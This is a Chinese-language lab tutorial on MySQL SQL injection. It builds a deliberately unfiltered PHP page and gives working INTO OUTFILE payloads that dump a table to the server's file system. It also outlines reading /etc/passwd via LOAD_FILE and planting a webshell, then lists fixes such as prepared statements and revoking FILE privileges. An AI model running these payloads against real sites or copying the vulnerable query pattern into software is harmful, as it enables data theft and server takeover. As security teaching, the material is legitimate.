首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL 注入漏洞實戰:利用 INTO OUTFILE 導出整張表數據(拖庫)

     編輯:MySQL 資料庫相關知識

漏洞環境搭建


CREATE TABLE `article` (
  `articleid` INT(11) NOT NULL AUTO_INCREMENT,
  `title` VARCHAR(100) CHARSET utf8 NOT NULL DEFAULT '',
  `content` TEXT CHARSET utf8 NOT NULL,
  PRIMARY KEY (`articleid`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

存在注入的 PHP 頁面


<?php
$id = $_GET['id']; // 無任何過濾
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
echo $row['title'] . '<br>' . $row['content'];
?>

單行導出測試

訪問:showart.php?id=1' INTO OUTFILE '/tmp/sql.txt'%23

  • %23 = URL 編碼的 #,註釋掉後續單引號;
  • 生成 /tmp/sql.txt 包含 id=1 的那行數據。

全表導出關鍵構造

Payload:id='' OR 1=1 INTO OUTFILE '/tmp/all.txt'%23

最終 SQL:


SELECT * FROM article WHERE articleid='' OR 1=1 INTO OUTFILE '/tmp/all.txt'#'
  • WHERE ... OR 1=1 恆真,等價於 SELECT * FROM article;
  • INTO OUTFILE 將完整結果集寫入服務器文件系統;
  • 需 MySQL 用戶具備 FILE 權限,且目標目錄可寫。

進階利用鏈

  1. 猜解表名、列名(information_schema);
  2. 利用 LOAD_FILE 讀取敏感文件(/etc/passwd);
  3. 結合 UNION SELECT 將任意查詢結果寫入 Web 目錄獲取 Webshell。

修復建議

  • 所有參數使用預處理語句(PDO/mysqli);
  • 刪除 MySQL FILE 權限:REVOKE FILE ON *.* FROM 'webuser'@'%';
  • 設置 secure_file_priv 限制導入導出目錄;
  • 部署 WAF 過濾 INTO OUTFILE、UNION SELECT 等高危關鍵字。
警示:本文僅供安全研究與防禦教學,嚴禁用於非授權測試。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved